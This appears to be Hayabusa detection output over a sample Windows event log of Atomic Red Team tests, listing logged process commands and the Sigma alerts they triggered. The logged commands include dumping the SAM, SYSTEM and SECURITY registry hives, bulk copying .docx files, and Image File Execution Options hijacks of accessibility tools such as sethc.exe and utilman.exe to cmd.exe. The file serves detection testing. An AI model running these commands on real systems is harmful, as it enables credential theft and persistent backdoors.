+09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.990 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.059 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.059 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.147 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.175 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.175 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.251 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.251 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.303 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.331 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.331 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.375 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.392 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.392 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.559 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.572 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.572 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.619 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\Security security.hive"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.632 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\Security security.hive : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\Security security.hive""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:39.229 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\System system.hive"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:39.255 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\System system.hive : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\System system.hive""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:41.660 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SAM sam.hive"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:41.691 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\SAM sam.hive : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SAM sam.hive""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:43.569 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:51.996 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c: /b /s .docx | findstr /e .docx"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:51.996 +09:00,MSEDGEWIN10,1,medium,Automated Collection Command Prompt,,rules/sigma/process_creation/process_creation_automated_collection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.048 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /S /D /c"" dir c: /b /s .docx "" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c: /b /s .docx | findstr /e .docx""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.048 +09:00,MSEDGEWIN10,1,medium,Automated Collection Command Prompt,,rules/sigma/process_creation/process_creation_automated_collection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.053 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: findstr /e .docx : Path: C:\Windows\System32\findstr.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c: /b /s .docx | findstr /e .docx""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.210 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""for /R c: %%f in (*.docx) do copy %%f c:\temp\"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.275 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.174 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\osk.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.194 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\osk.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\osk.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.220 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.220 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.220 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.249 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.279 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.299 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.322 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.322 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.322 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.357 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.266 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\utilman.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.282 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\utilman.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\utilman.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.295 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.295 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.295 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.324 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.109 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\magnify.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.127 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\magnify.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\magnify.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.153 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.153 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.153 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:13.185 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.678 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.692 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\narrator.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.716 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.716 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.716 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:14.827 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.941 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\DisplaySwitch.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:17.963 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\DisplaySwitch.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: 